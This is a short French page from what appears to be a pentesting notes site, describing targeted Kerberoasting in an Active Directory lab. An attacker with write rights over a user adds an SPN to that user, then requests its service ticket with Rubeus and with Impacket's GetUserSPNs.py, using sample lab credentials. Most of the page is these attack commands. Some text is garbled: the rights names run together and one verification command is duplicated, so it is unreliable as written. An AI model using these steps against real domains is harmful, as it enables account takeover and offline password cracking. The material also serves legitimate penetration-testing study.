> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/kerberoasting-via-spn-modification.md).

# Kerberoasting via la modification du SPN

### Principe

Si vous avez des droits d’écriture sur un utilisateur, par exemple :

```
GenericWriteGenericAllWriteProperty
```

nous pouvons lui ajouter un SPN.

Une fois le SPN ajouté, ce compte devient exploitable par Kerberoast.

### Exemple avec `evy.marnia`

Dans votre labo, nous imaginons que `user1` dispose d’une autorisation d’écriture sur :

```bash
evy.marnia
```

Nous ajoutons un SPN :

{% code overflow="wrap" %}

```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```

{% endcode %}

### Vérifiez la création du SPN

{% code overflow="wrap" %}

```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```

{% endcode %}

Nous devrions voir le SPN ajouté :

<figure><img src="/files/c2674fcfd823f06fbe85117026c7ca371222c0b2" alt=""><figcaption></figcaption></figure>

### Collectez le ticket avec Rubeus

{% code overflow="wrap" %}

```bash
.\Rubeus.exe kerberoast
```

{% endcode %}

### Récupérez le ticket avec Impacket

```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

<figure><img src="/files/0729f2d73bf6003b12f1497fe0067e73cd6180cb" alt=""><figcaption></figcaption></figure>


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